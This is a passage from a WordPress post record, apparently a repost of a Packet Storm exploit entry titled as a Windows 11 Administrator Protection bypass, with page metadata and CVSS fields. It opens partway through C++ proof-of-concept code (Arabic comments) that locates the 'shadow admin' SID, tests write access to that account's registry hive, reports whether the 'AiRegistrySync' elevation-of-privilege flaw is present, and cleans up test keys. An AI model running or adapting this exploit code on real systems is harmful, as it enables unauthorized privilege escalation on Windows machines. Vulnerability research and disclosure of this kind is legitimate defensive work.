\u062a\u0628\u062f\u0623 \u0628\u0640 TestVulnKey_ \u0623\u0648 PoC_Key\\n        HKEY hUsers = nullptr;\\n        if (RegOpenKeyExW(HKEY_USERS, nullptr, 0, KEY_READ, \\u0026hUsers) == ERROR_SUCCESS) {\\n            SmartRegKey hUsersKey(hUsers);\\n            \\n            \/\/ \u0641\u062d\u0635 hive \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\\n            std::wstring userBasePath = userSid + L\\&#8221;\\\\\\\\Keyboard Layout\\&#8221;;\\n            DeleteRegistryKeyRecursive(userBasePath + L\\&#8221;\\\\\\\\TestVulnKey\\&#8221;);\\n            DeleteRegistryKeyRecursive(userBasePath + L\\&#8221;\\\\\\\\PoC_Key\\&#8221;);\\n            \\n            \/\/ \u0641\u062d\u0635 hive \u0627\u0644\u0640 shadow admin\\n            std::wstring shadowBasePath = shadowSid + L\\&#8221;\\\\\\\\Keyboard Layout\\&#8221;;\\n            DeleteRegistryKeyRecursive(shadowBasePath + L\\&#8221;\\\\\\\\TestVulnKey\\&#8221;);\\n            DeleteRegistryKeyRecursive(shadowBasePath + L\\&#8221;\\\\\\\\PoC_Key\\&#8221;);\\n        }\\n        \\n        wprintf(L\\&#8221;[+] Cleanup completed\\\\n\\&#8221;);\\n    }\\n    \\n    int main() {\\n        wprintf(L\\&#8221;====================================================\\\\n\\&#8221;);\\n        wprintf(L\\&#8221;  Windows Admin Protection Bypass PoC &#8211; Enhanced\\\\n\\&#8221;);\\n        wprintf(L\\&#8221;  AiRegistrySync Symbolic Link EoP Vulnerability\\\\n\\&#8221;);\\n        wprintf(L\\&#8221;  With Smart Pointer Implementation\\\\n\\&#8221;);\\n        wprintf(L\\&#8221;====================================================\\\\n\\\\n\\&#8221;);\\n        \\n        \/\/ \u0639\u0631\u0636 \u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0627\u0644\u0646\u0638\u0627\u0645\\n        PrintSystemInfo();\\n        \\n        \/\/ \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0623\u0646\u0646\u0627 \u0644\u0633\u0646\u0627 \u0645\u062f\u064a\u0631 \u0646\u0638\u0627\u0645\\n        if (IsUserInAdministratorsGroup()) {\\n            wprintf(L\\&#8221;[!] WARNING: User is in Administrators group\\\\n\\&#8221;);\\n            wprintf(L\\&#8221;[!] For best results, run as standard user\\\\n\\&#8221;);\\n            wprintf(L\\&#8221;[!] Continue anyway? (Y\/N): \\&#8221;);\\n            \\n            int c = getchar();\\n            if (c != &#8216;Y&#8217; \\u0026\\u0026 c != &#8216;y&#8217;) {\\n                return 0;\\n            }\\n            getchar(); \/\/ Consume newline\\n        }\\n        \\n        \/\/ \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 SIDs\\n        std::wstring userSid = GetCurrentUserSid();\\n        if (userSid.empty()) {\\n            wprintf(L\\&#8221;[!] Failed to get current user SID\\\\n\\&#8221;);\\n            return 1;\\n        }\\n        wprintf(L\\&#8221;[+] Current user SID: %s\\\\n\\\\n\\&#8221;, userSid.c_str());\\n        \\n        std::wstring shadowSid = FindShadowAdminSid();\\n        if (shadowSid.empty()) {\\n            wprintf(L\\&#8221;[!] Could not find shadow admin SID\\\\n\\&#8221;);\\n            wprintf(L\\&#8221;[!] Possible reasons:\\\\n\\&#8221;);\\n            wprintf(L\\&#8221;    1. Administrator Protection not enabled\\\\n\\&#8221;);\\n            wprintf(L\\&#8221;    2. No administrator logged in recently\\\\n\\&#8221;);\\n            wprintf(L\\&#8221;    3. Different Windows version\\\\n\\&#8221;);\\n            return 1;\\n        }\\n        wprintf(L\\&#8221;[+] Shadow admin SID: %s\\\\n\\\\n\\&#8221;, shadowSid.c_str());\\n        \\n        \/\/ \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0627\u0644\u0648\u0635\u0648\u0644 \u0627\u0644\u062d\u0627\u0644\u064a\\n        wprintf(L\\&#8221;[*] Testing current access levels&#8230;\\\\n\\&#8221;);\\n        std::wstring shadowEnv = shadowSid + L\\&#8221;\\\\\\\\Environment\\&#8221;;\\n        \\n        wprintf(L\\&#8221;    Read access to Environment: \\&#8221;);\\n        CheckRegistryAccess(shadowEnv, KEY_READ);\\n        \\n        wprintf(L\\&#8221;    Write access to Environment: \\&#8221;);\\n        bool hasWriteAccess = CheckRegistryAccess(shadowEnv, KEY_WRITE);\\n        \\n        if (hasWriteAccess) {\\n            wprintf(L\\&#8221;\\\\n[!] WARNING: Already have write access to shadow admin hive!\\\\n\\&#8221;);\\n            wprintf(L\\&#8221;[!] System is VULNERABLE to this attack!\\\\n\\&#8221;);\\n        }\\n        \\n        \/\/ \u0627\u062e\u062a\u0628\u0627\u0631 \u0627\u0644\u062b\u063a\u0631\u0629\\n        bool isVulnerable = TestVulnerability(userSid, shadowSid);\\n        \\n        wprintf(L\\&#8221;\\\\n[+] ============================================\\\\n\\&#8221;);\\n        if (isVulnerable) {\\n            wprintf(L\\&#8221;[+] SYSTEM IS VULNERABLE!\\\\n\\&#8221;);\\n            wprintf(L\\&#8221;[+] AiRegistrySync copies keys with user&#8217;s permissions\\\\n\\&#8221;);\\n            wprintf(L\\&#8221;[+] This allows elevation of privilege attacks\\\\n\\&#8221;);\\n        } else {\\n            wprintf(L\\&#8221;[+] Could not confirm vulnerability\\\\n\\&#8221;);\\n            wprintf(L\\&#8221;[+] System may be patched or conditions not met\\\\n\\&#8221;);\\n        }\\n        wprintf(L\\&#8221;[+] ============================================\\\\n\\\\n\\&#8221;);\\n        \\n        \/\/ \u0627\u0644\u062a\u0646\u0638\u064a\u0641\\n        CleanupTestKeys(userSid, shadowSid);\\n        \\n        wprintf(L\\&#8221;[*] PoC completed successfully\\\\n\\&#8221;);\\n        wprintf(L\\&#8221;[*] Press Enter to exit&#8230;\\\\n\\&#8221;);\\n        getchar();\\n        \\n        return 0;\\n    }\\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/214888&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/214888\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-04T16:29:33&#8243;,&#8221;description&#8221;:&#8221;This enhanced proof of concept demonstrates an advanced method for bypassing Windows Administrator Protection by manipulating registry hives using both WinAPI and NTAPI. The code&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-39045","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Microsoft Windows 11 Build 10.0.27898.1000 Advanced Admin Protection Bypass_PACKETSTORM:214888 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=39045\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Microsoft Windows 11 Build 10.0.27898.1000 Advanced Admin Protection Bypass_PACKETSTORM:214888 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-04T16:29:33&#8243;,&#8221;description&#8221;:&#8221;This enhanced proof of concept demonstrates an advanced method for bypassing Windows Administrator Protection by manipulating registry hives using both WinAPI and NTAPI. The code...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=39045\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-04T10:48:47+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"16 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39045#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39045\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Microsoft Windows 11 Build 10.0.27898.1000 Advanced Admin Protection Bypass_PACKETSTORM:214888\",\"datePublished\":\"2026-02-04T10:48:47+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39045\"},\"wordCount\":3186,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=39045#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39045\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39045\",\"name\":\"\ud83d\udcc4 Microsoft Windows 11 Build 10.0.27898.1000 Advanced Admin Protection Bypass_PACKETSTORM:214888 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-04T10:48:47+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39045#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=39045\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39045#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Microsoft Windows 11 Build 10.0.27898.1000 Advanced Admin Protection Bypass_PACKETSTORM:214888\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Microsoft Windows 11 Build 10.0.27898.1000 Advanced Admin Protection Bypass_PACKETSTORM:214888 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=39045","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Microsoft Windows 11 Build 10.0.27898.1000 Advanced Admin Protection Bypass_PACKETSTORM:214888 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-04T16:29:33&#8243;,&#8221;description&#8221;:&#8221;This enhanced proof of concept demonstrates an advanced method for bypassing Windows Administrator Protection by manipulating registry hives using both WinAPI and NTAPI. The code...","og_url":"https:\/\/zero.redgem.net\/?p=39045","og_site_name":"zero redgem","article_published_time":"2026-02-04T10:48:47+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"16 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=39045#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=39045"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Microsoft Windows 11 Build 10.0.27898.1000 Advanced Admin Protection Bypass_PACKETSTORM:214888","datePublished":"2026-02-04T10:48:47+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=39045"},"wordCount":3186,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=39045#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=39045","url":"https:\/\/zero.redgem.net\/?p=39045","name":"\ud83d\udcc4 Microsoft Windows 11 Build 10.0.27898.1000 Advanced Admin Protection Bypass_PACKETSTORM:214888 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-04T10:48:47+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=39045#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=39045"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=39045#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Microsoft Windows 11 Build 10.0.27898.1000 Advanced Admin Protection Bypass_PACKETSTORM:214888"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/39045","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=39045"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/39045\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=39045"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=39045"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=39045"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}